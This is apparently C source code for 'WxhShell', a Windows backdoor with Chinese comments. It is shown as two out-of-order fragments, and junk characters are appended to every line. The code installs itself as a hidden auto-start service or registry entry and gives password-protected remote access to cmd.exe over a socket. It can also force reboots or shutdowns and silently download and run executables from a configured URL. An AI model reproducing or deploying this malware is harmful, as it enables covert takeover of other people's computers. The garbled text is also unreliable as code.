    closesocket(wsh); }* s%|!{H  
    ExitThread(0); Me XGE  
    } ,ThN/GkSC  
    break; ;u "BCW  
    } T0=%RID%=  
  // 关机 \>@QJ  
  case 'd': { zxffjz,Fe:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oz[: T3oE>  
    if(Boot(SHUTDOWN)) `bx}!;{lx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z),@YJU"z  
    else { V'jvI  
    closesocket(wsh); 5fqQ;r  
    ExitThread(0); ytg' {)  
    } c mI&R(  
    break; Mp`2[S@$  
    } TowRY=#jiS  
  // 获取shell 89 6oz>  
  case 's': { N(@B3%H2/J  
    CmdShell(wsh); #`(-Oj2hH  
    closesocket(wsh); |E#+X  
    ExitThread(0); C}>Pn{wY9  
    break; P>s 3Rh3:  
  } F vt5vQ  
  // 退出 ;+-M+9"?O  
  case 'x': { :$J4T;/{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "{F e  
    CloseIt(wsh); Oj~4uT&"  
    break; MhXJ /bup  
    } >azTAX6L3  
  // 离开 8Z:T.Gc  
  case 'q': { />,KWHR|:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 12JmSvD  
    closesocket(wsh); x%d\}%]  
    WSACleanup(); XFv)]_G  
    exit(1); s}5,<|DL  
    break; ub,GF?9  
        } ) ir*\<6Y=  
  } WQ>y;fi5/{  
  } U 3UDA  
?1kXV n$  
  // 提示信息 xYUC|c1Q9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XzF-g*e  
} k9Xv@v  
  } YLVZ]fN=>  
 wq@{85  
  return; K.T.?ug;:  
} GjD^\d/  
i SD?y#  
// shell模块句柄 #Z)8,N  
int CmdShell(SOCKET sock) l k?@ =U~  
{ 7)U08"  
STARTUPINFO si; 'W2B**}  
ZeroMemory(&si,sizeof(si)); ?7]UbtW[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / 8 0Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2Sg^SZFH+o  
PROCESS_INFORMATION ProcessInfo; Svun RUE-f  
char cmdline[]="cmd"; ,6iXlch  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nS5g!GYY,k  
  return 0; b|KlWt'  
} f0 d*%  
$pLJtQ  
// 自身启动模式 z:7 i@m  
int StartFromService(void) e!hy,O{Pw  
{ o$%I{}9x  
typedef struct <<5x"W(,  
{ LI`H,2Km  
  DWORD ExitStatus; [')C]YQb=  
  DWORD PebBaseAddress; ,N`cH\  
  DWORD AffinityMask; e*?@6E  
  DWORD BasePriority; )GC9%mF;  
  ULONG UniqueProcessId; _ a`J>~$  
  ULONG InheritedFromUniqueProcessId; ys~oJb~  
}   PROCESS_BASIC_INFORMATION;  ZFH;  
94CHxv  
PROCNTQSIP NtQueryInformationProcess; #i1z&b#@  
yy(.|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a2!;$B%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |_GESpoHH  
fp`k1Uq@  
  HANDLE             hProcess; o NqIrYH'  
  PROCESS_BASIC_INFORMATION pbi; ]?3-;D.eG  
J'H}e F`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n&N>$c,T27  
  if(NULL == hInst ) return 0; !x@3U^${  
V[RsSZx =  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dtDT^~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zHu w[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \zMx~-2oN  
z3mo2e  
  if (!NtQueryInformationProcess) return 0; S+* g  
ZK p9k6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T5gL  
  if(!hProcess) return 0; EjDr   
qQ T ^d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E# UAC2Q  
8[\ ~}Q6  
  CloseHandle(hProcess); ^|j @' @L  
*<"#1H/q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GJo`9  
if(hProcess==NULL) return 0; oT}-i [=}  
wk[4Qsk<  
HMODULE hMod; W0qn$H  
char procName[255]; >5c38D7k)  
unsigned long cbNeeded; jM'(Qa  
C=zc6C,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XRx^4]c  
Yj'/ p  
  CloseHandle(hProcess); hvo7T@*'  
u`~,`z^{n  
if(strstr(procName,"services")) return 1; // 以服务启动 r0L' mf$  
H2oD0f|  
  return 0; // 注册表启动 xwjiNJ Gj  
} g3Z"ri~!G  
eX3|<Bf  
// 主模块 ^EF VjGM  
int StartWxhshell(LPSTR lpCmdLine) YU6D;  
{ L[a A4`  
  SOCKET wsl; E~K5n2CI  
BOOL val=TRUE; f C_H0h3  
  int port=0; H5X.CcI&}  
  struct sockaddr_in door; r t\eze_5A  
"Iu Pg=|#  
  if(wscfg.ws_autoins) Install(); 8d|#W  
+txHj(Y`  
port=atoi(lpCmdLine); U%u%_{-  
Zg;%$ kSQ  
if(port<=0) port=wscfg.ws_port; 3"HX':8x  
 \s^4f#  
  WSADATA data; jk9/EmV*r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cOrFe;8-.  
GX,)~Syw*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v~`'!N8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qt(4N!j  
  door.sin_family = AF_INET; =Eb4Iyz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); & T&>4I!'M  
  door.sin_port = htons(port); g), t  
PGNH<E)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qku}cWD9/_  
closesocket(wsl); -kkp Ew\  
return 1; L/*K4xQ  
} ^6i,PRScS  
d6vls7J/4  
  if(listen(wsl,2) == INVALID_SOCKET) { Q=n2frW(T  
closesocket(wsl);  Lxqv  
return 1; K1_#Jhz  
} Kk|4  
  Wxhshell(wsl); gBd@4{y6C.  
  WSACleanup(); dO!5` ]  
S<Od`I  
return 0; 7I;A5f  
eccJt  
} ,f)#&}x*2+  
0jmPj   
// 以NT服务方式启动 (!"&c* <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IEeh9:Km  
{ u1) #^?  
DWORD   status = 0; uB>OS 1=  
  DWORD   specificError = 0xfffffff; \wM8I-f!  
fA" VLQE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -v &  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |@Sj:^cJD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l0nm>ps'D  
  serviceStatus.dwWin32ExitCode     = 0; _,bDv`>Ra  
  serviceStatus.dwServiceSpecificExitCode = 0; C<yjGt VD  
  serviceStatus.dwCheckPoint       = 0; G^&P'*  
  serviceStatus.dwWaitHint       = 0; ?CSv;:  
zn2Qp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dg'BlrwbR  
  if (hServiceStatusHandle==0) return; e763 yd  
#CTeZ/g  
status = GetLastError(); ;:Q&Rf"@%  
  if (status!=NO_ERROR) @D+2dT0[M  
{ U C..)9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7 DW_G  
    serviceStatus.dwCheckPoint       = 0; TS49{^d$  
    serviceStatus.dwWaitHint       = 0; H tAO9  
    serviceStatus.dwWin32ExitCode     = status; "[`/J?W  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2!Sl!x+i\'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y"UB\_=  
    return; u=f}t=3  
  } D V=xqC6}  
lqZUU92;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wHE1Jqpo  
  serviceStatus.dwCheckPoint       = 0; Ta NcnAY>9  
  serviceStatus.dwWaitHint       = 0; +Z1y1%a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9*;OHoDh  
} <Oihwr@5<  
I'e`?H t  
// 处理NT服务事件,比如:启动、停止 %shCqS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4o ,G[Cf_  
{ vTq [Xe"  
switch(fdwControl)  kAnK1W>  
{ .~7:o.BE`n  
case SERVICE_CONTROL_STOP: Rg\D-F6:  
  serviceStatus.dwWin32ExitCode = 0; |}D5q| d@n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f <pJ_  
  serviceStatus.dwCheckPoint   = 0; r O-=):2  
  serviceStatus.dwWaitHint     = 0; K_o[m!:jU  
  { u5rHQA0%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YlJ_$Q[  
  } Ngw/H)<c  
  return; ~U+W4%f8  
case SERVICE_CONTROL_PAUSE: e!oL!Zg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]*TW%mY  
  break; xV>sc;PEb  
case SERVICE_CONTROL_CONTINUE: {pz7ADK<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J?_-Dg(=  
  break; mIah[~G  
case SERVICE_CONTROL_INTERROGATE: cxpG6c  
  break; -s&7zqW  
}; ^k5#{?I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gtRVXgI  
} sM6o(=>  
Tu&W7aoX5  
// 标准应用程序主函数 ufvjW]   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y7U?nP ')+  
{ g[ O6WZ!F_  
 4 `]  
// 获取操作系统版本 \ fSo9$  
OsIsNt=GetOsVer(); tNC ;CP#R+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^7iP!-w/  
^F g!.X_  
  // 从命令行安装 oz&RNB.K  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4b  1a?  
"9O8#i<Nr  
  // 下载执行文件 >gf,8flgj  
if(wscfg.ws_downexe) { P0ZY;/e5h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DSL3+%KF#  
  WinExec(wscfg.ws_filenam,SW_HIDE); #8r1<`']!  
} )(-aw,i K  
1a_;(T  
if(!OsIsNt) { S0H|:J  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zy=DY  
HideProc(); ]/{iIS_  
StartWxhshell(lpCmdLine); V@pUU~6R  
} nQ08(8  
else N4$ K {  
  if(StartFromService()) Ls/*&u  
  // 以服务方式启动 rj/1AK  
  StartServiceCtrlDispatcher(DispatchTable); 'H-hp   
else YYF.0G}  
  // 普通方式启动 c!]Q0ib6  
  StartWxhshell(lpCmdLine); g>;"Fymc'  
q_z;kCHM  
return 0; =h,J!0Y  
} ?yKG\tPhM  
`2hLs _  
;!,I1{`  
.Z(Q7j^  
=========================================== (N?nOOQ  
79Ur1-]/  
vf?Xt  
GsU.Lkf  
bwe)_<c  
9v?rNJs  
" 9;fs'R  
TF~cDn  
#include <stdio.h> :4[_&]H  
#include <string.h> <{IeCir  
#include <windows.h> TFDzTD  
#include <winsock2.h> jKb4d9aX  
#include <winsvc.h> eqk.+~^  
#include <urlmon.h> Wn&9R j  
ZwM d 22  
#pragma comment (lib, "Ws2_32.lib") 3u/ GrsF  
#pragma comment (lib, "urlmon.lib") N*SUA4bnuM  
D*t[5,~j  
#define MAX_USER   100 // 最大客户端连接数 58t~? 2E  
#define BUF_SOCK   200 // sock buffer h(p c GE  
#define KEY_BUFF   255 // 输入 buffer O:Wd ,3_  
#@m6ag.  
#define REBOOT     0   // 重启 J+l#!gk$!  
#define SHUTDOWN   1   // 关机 &Xh=bM'/%m  
uTNy{RBD+  
#define DEF_PORT   5000 // 监听端口 aj]pN,g@N  
KN'twPFq  
#define REG_LEN     16   // 注册表键长度 \ 0.!al0  
#define SVC_LEN     80   // NT服务名长度 't+'rG6x  
h>ZU67-   
// 从dll定义API py$i{v%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N5 mhs#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @?5pY^>DK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @./ @"mR<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *0Wkz'=U  
J3hhh(  
// wxhshell配置信息 ?;GXFKy  
struct WSCFG { \-D[C+1(  
  int ws_port;         // 监听端口 jJAr #|  
  char ws_passstr[REG_LEN]; // 口令 Z_s]2y1  
  int ws_autoins;       // 安装标记, 1=yes 0=no F%$l cQ04%  
  char ws_regname[REG_LEN]; // 注册表键名 F`CDv5  
  char ws_svcname[REG_LEN]; // 服务名 Sobp;OZ5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3:bP>l!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Kl]l[!c7$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \qJ cs'D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r=#v@]z B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `$ pJ2S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kW& zkE{  
VVqpzDoXG  
}; oxLO[js  
x LGMN)@r  
// default Wxhshell configuration rge s`&0  
struct WSCFG wscfg={DEF_PORT, %' eaW  
    "xuhuanlingzhe", jvhD_L/  
    1, Tsocc5gWZ*  
    "Wxhshell", h9QQ8}g  
    "Wxhshell", 7%W@Hr,%F  
            "WxhShell Service", ihD|e&  
    "Wrsky Windows CmdShell Service", '![VA8  
    "Please Input Your Password: ", G0(A~Q"  
  1, e}iv vs2  
  "http://www.wrsky.com/wxhshell.exe", ;}'Z2gZ B  
  "Wxhshell.exe" Q}uh`?t  
    }; wsgT`M'J[  
KN~Repcz@  
// 消息定义模块 uFL!* #A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O^IS:\JX&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Hk?E0.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y1#QP3'Z1  
char *msg_ws_ext="\n\rExit."; 2[Xe:)d  
char *msg_ws_end="\n\rQuit."; 06I(01M1   
char *msg_ws_boot="\n\rReboot..."; USH>`3  
char *msg_ws_poff="\n\rShutdown..."; m Gx{Vpt  
char *msg_ws_down="\n\rSave to "; GK&R.R]  
FYH^axpp  
char *msg_ws_err="\n\rErr!"; ;Bat--K7+  
char *msg_ws_ok="\n\rOK!"; v1$ }JX   
:<uCi\9(  
char ExeFile[MAX_PATH]; LG'1^W{a  
int nUser = 0; :|Bzbn=N2  
HANDLE handles[MAX_USER];  /UtSZ(  
int OsIsNt; ]0g1P-&,U  
N@8tf@BT   
SERVICE_STATUS       serviceStatus; w[J.?v&^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  (Kj>Ao  
#-/_J?  
// 函数声明 4Yd$RP  
int Install(void); |UN#utw{^Y  
int Uninstall(void); (qDJgf4fgn  
int DownloadFile(char *sURL, SOCKET wsh); CFeAKjG  
int Boot(int flag); *2Q x69`  
void HideProc(void); Rk}=SB-  
int GetOsVer(void); `tm(3pJ  
int Wxhshell(SOCKET wsl); Y^gIvX  
void TalkWithClient(void *cs); j&0t!f.Rv  
int CmdShell(SOCKET sock); <<6gsKP  
int StartFromService(void); \>+BvF  
int StartWxhshell(LPSTR lpCmdLine); Jo9c|\4  
r]&&*:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tx/KL%X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n;k B_i*l  
I bE Nq  
// 数据结构和表定义 #Q%0y^s  
SERVICE_TABLE_ENTRY DispatchTable[] = ~AR0 ,lak  
{ Q#Xa]A-  
{wscfg.ws_svcname, NTServiceMain}, 94.M 8  
{NULL, NULL} z_a7HCG2  
}; 8\[qR_LV  
_RX*Ps=  
// 自我安装 D66!C{  
int Install(void) rm,h\  
{ j4h?"  
  char svExeFile[MAX_PATH]; K\$z,}0  
  HKEY key; )`zfDio-1V  
  strcpy(svExeFile,ExeFile); ||.Ve,<:  
;o.,vQF*  
// 如果是win9x系统,修改注册表设为自启动 AmcBu"  
if(!OsIsNt) { "H}ae7@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #DcK{|ty  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cQh=Mri]  
  RegCloseKey(key); s$VLVT*6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { op|x~Thf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qGie~S ##  
  RegCloseKey(key); y |Tv;v1L  
  return 0; s4>xh=PoJ  
    } Yq:TW eZD  
  } IF3V5Q  
} _x?S0R1  
else { m\ /V0V\  
\>4x7mF!  
// 如果是NT以上系统,安装为系统服务 NjSjE_S2B8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fprhu;h  
if (schSCManager!=0) 6 i]B8Ziq{  
{ #^q@ra  
  SC_HANDLE schService = CreateService b!g8NG  
  ( sUsIu,1Q  
  schSCManager, V _pKe~  
  wscfg.ws_svcname, 5@~5RNrq2  
  wscfg.ws_svcdisp, LU@+O12  
  SERVICE_ALL_ACCESS, RTTEAh:.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'w}/ o+x@  
  SERVICE_AUTO_START, znd fIt^  
  SERVICE_ERROR_NORMAL, '8fL)Zk  
  svExeFile, ,YmTx  
  NULL, )X-TJ+d  
  NULL, mOx>p"n  
  NULL, ~ *P9_<  
  NULL, ys |} ;*  
  NULL }ABHGr5[  
  ); xiQ;lE   
  if (schService!=0) tNCKL. yU  
  { ,U'E!?=:VS  
  CloseServiceHandle(schService); x<{)xP+|  
  CloseServiceHandle(schSCManager); `d:cq.OO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BmFs6{>~c  
  strcat(svExeFile,wscfg.ws_svcname); n\H.NL)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6-uB[$ko  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D i #Em[  
  RegCloseKey(key); 0G/_"} @  
  return 0; JKs&!!  
    } ?:sQ]S/Er  
  } ^ZO3:"t!w  
  CloseServiceHandle(schSCManager); `Yc>I!iN  
} X3rvM8  
} O.+X,CQG*  
+jX.::UPm  
return 1; l%$co07cX  
} (Y]G6> Oa  
PQ[x A*  
// 自我卸载 G G[$-  
int Uninstall(void) MM4Eq>F/  
{ CEp @-R  
  HKEY key; > v ]-B"Y  
JZB@K6 ~dO  
if(!OsIsNt) { d!]_n|B@9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JD$;6Jv3P  
  RegDeleteValue(key,wscfg.ws_regname); W=T,hOyh<W  
  RegCloseKey(key); f}F   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { viR-h iD  
  RegDeleteValue(key,wscfg.ws_regname); <3c|S_|L*m  
  RegCloseKey(key); k/V:QdD Sb  
  return 0; 5R7DD5c[  
  } _ ?Z :m  
} !RwOU Ck  
} o9uir"=  
else {  (.B+U'6  
Ndr4e?Xa,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .\+%Q)?h:  
if (schSCManager!=0) '; Z!(r  
{ `@|Kx\y4=j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?AJE*=b  
  if (schService!=0) 0^rDf L  
  { QAh6!<.;@  
  if(DeleteService(schService)!=0) {  6,;7iA]  
  CloseServiceHandle(schService); FrryZe=  
  CloseServiceHandle(schSCManager); @^kt[$X;  
  return 0; KN9e""  
  } Acib<Mi2!-  
  CloseServiceHandle(schService); 5 MD=o7O^  
  } p-o!K\o-1  
  CloseServiceHandle(schSCManager); L5yv}:.U  
} \4|o5,+(@  
} |cUBS)[)X  
iZ-"l3) D  
return 1; |VD}:  
} )$e_CJ}9e  
7cJh^M   
// 从指定url下载文件 w(Hio-l=  
int DownloadFile(char *sURL, SOCKET wsh) 42mZ.,<  
{ _l;$<]re\k  
  HRESULT hr; E<XrXxS1O  
char seps[]= "/"; g}=opw6z  
char *token; <rpXhcR  
char *file; \z PcnDB  
char myURL[MAX_PATH]; /{d5$(Y"  
char myFILE[MAX_PATH]; ==pGRauq  
1#<KZN =$  
strcpy(myURL,sURL); VaRP+J}UA.  
  token=strtok(myURL,seps); N/&t) 7  
  while(token!=NULL) 41V}6+$g  
  { +Qe&#"O0  
    file=token; Iz[T.$9  
  token=strtok(NULL,seps); B#U:6Ty  
  } q!P{a^Fnc  
qKd&d  
GetCurrentDirectory(MAX_PATH,myFILE); @ "=wn:O+  
strcat(myFILE, "\\"); g x~fZOF_  
strcat(myFILE, file);  9> k-";  
  send(wsh,myFILE,strlen(myFILE),0); fer~NlX  
send(wsh,"...",3,0); o7W1sD1O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \6U$kMGde  
  if(hr==S_OK) $pg1Av7l  
return 0; yl[6b1  
else bM"crRG"  
return 1; ZeyA bo  
%VD>S  
} ^|1)6P}6  
evBr{oi@  
// 系统电源模块 z;VabOr^  
int Boot(int flag) >C|i^4ppI  
{ 9(;I+.;8k  
  HANDLE hToken; D~s TQfWr  
  TOKEN_PRIVILEGES tkp; h!L6NS_Q,  
zU)Ib<$  
  if(OsIsNt) { 4D-4BxN*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }}'0r2S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V]$Tbxg  
    tkp.PrivilegeCount = 1; (NBq!;_2,x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?yq1\G)]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4/tp-dBip  
if(flag==REBOOT) { o@&d d NO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l6lyRJ  
  return 0; `Mxi2Y{vp  
} 3M[b)At V.  
else { a!US:^}lu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h^}r$k_n  
  return 0; dwc$#cMf  
} igD,|YSK`z  
  } n rpxZA  
  else {  \tWFz(  
if(flag==REBOOT) { |#. J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j%qBNoT~  
  return 0; voHFU#Z$  
} WTcrfs)T  
else { hvS4"% \  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f2y:K6$'l*  
  return 0; xC,;IS k,  
} d;$<K  
} <+oTYPgD9  
9a*}&fL[  
return 1; @N-P[.qL"  
} ^<}eONa  
[*k25N  
// win9x进程隐藏模块 Iw<: k  
void HideProc(void) dk^Uf84.Gr  
{ kCu"G  
~X`_ g/5X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); };:+0k/  
  if ( hKernel != NULL ) MZ{gU>K+  
  { _8U 5mW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u,R;=DNl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z[I3k  
    FreeLibrary(hKernel); `;9Z?]}`  
  } A#y,B  
;L gxL Qy;  
return; sr&hQ  
} f;nO$h[Qb  
kT+Idu  
// 获取操作系统版本 X. =%  
int GetOsVer(void) Ae0jfTv  
{ mQ@A3/=`  
  OSVERSIONINFO winfo; uP-I7l0i1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v{Rj,Ou  
  GetVersionEx(&winfo); o"Dk`L2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2)A% 'Akf  
  return 1; xSQ:#o=8G  
  else i'$V'x'k  
  return 0; VR@V3 ~  
} {F/0pvP9  
csPziH$wl  
// 客户端句柄模块 nYcj6?  
int Wxhshell(SOCKET wsl) z|o7k;raH  
{ fU )@Lj1Wo  
  SOCKET wsh; #]iSh(|8  
  struct sockaddr_in client; 6Ch [!=p{  
  DWORD myID; DO#!ce  
f+/AD  
  while(nUser<MAX_USER) |Mj2lZS  
{ (W~')A"hC'  
  int nSize=sizeof(client); \D9J!K82  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oM&}akPE  
  if(wsh==INVALID_SOCKET) return 1; ]}wo$7pO  
_dgS@n;6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5ir[}I^z  
if(handles[nUser]==0) P,|%7'?Y  
  closesocket(wsh); ]>33sb S6  
else JfJLJ(}  
  nUser++; I,*zZNv Ri  
  } atW=xn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UkE  fuH  
TJHab;7F  
  return 0; sUc_)  
} UC!?.  
< ] ~FX 25  
// 关闭 socket [f^:V:) {  
void CloseIt(SOCKET wsh) g9A8b(>F&@  
{ 6`tc]a"#Zb  
closesocket(wsh); Rd?8LLz  
nUser--; zPonG d1  
ExitThread(0); -A?6)ggf.  
} xp!M A  
56;^ NE4  
// 客户端请求句柄 :6 , `M,  
void TalkWithClient(void *cs) Z?Cl5o&l b  
{ 1%v!8$  
PJ-EQ6W  
  SOCKET wsh=(SOCKET)cs; zz)[4G  
  char pwd[SVC_LEN]; jvI!BZ  
  char cmd[KEY_BUFF]; _M;n.?H  
char chr[1]; ;.O#|Z[  
int i,j; xnuu#@f  
e ej:  
  while (nUser < MAX_USER) { lo1<t<w`  
Z%Kkh2-uh  
if(wscfg.ws_passstr) { _ (U|Kpi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^V1.Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \iBEyr]  
  //ZeroMemory(pwd,KEY_BUFF); K@JGGgrE`!  
      i=0; kBh*@gf  
  while(i<SVC_LEN) { ~HFqAOr  
;;^OKrzWW  
  // 设置超时 X]Aobtz  
  fd_set FdRead; N)kZ2|oD  
  struct timeval TimeOut; u<VR;p:y  
  FD_ZERO(&FdRead); k10g %K4g  
  FD_SET(wsh,&FdRead); ~rUcko8  
  TimeOut.tv_sec=8; 5^,"Ve|  
  TimeOut.tv_usec=0; Qj1q x;S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jv,*rQH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^\ N@qL  
#~_ZG% u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |61W-9;  
  pwd=chr[0]; 5f~49(v]  
  if(chr[0]==0xd || chr[0]==0xa) { }{R?i,j(  
  pwd=0; CFLWo1  
  break; m-< "`:+  
  } X,] E {  
  i++; LU-,B?1  
    } c:J;Q){Xz  
ii3{HJ*C  
  // 如果是非法用户,关闭 socket \ah.@s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $QNII+o  
} {Rm N1'%  
;JD/4:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^&!S nM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Smt&/~7D%  
L[D<e?j  
while(1) { wWI1%#__|o  
kH.W17D~  
  ZeroMemory(cmd,KEY_BUFF); Vr<eU>W  
U.$7=Zl8t  
      // 自动支持客户端 telnet标准   m0}1P]dc  
  j=0; 0qCx.<"p8#  
  while(j<KEY_BUFF) { j(QK0"z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fn~Jc~[G|  
  cmd[j]=chr[0]; m,Fug1+N  
  if(chr[0]==0xa || chr[0]==0xd) { F[ '<;}  
  cmd[j]=0; 8l50@c4UF~  
  break; `y^tCJ2u*  
  } .|VWYN  
  j++; Knjg`f  
    } u ? }T)B  
^$D2fS  
  // 下载文件 Fk-}2_=v i  
  if(strstr(cmd,"http://")) { 'm4v)w<y#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JZUf-0q  
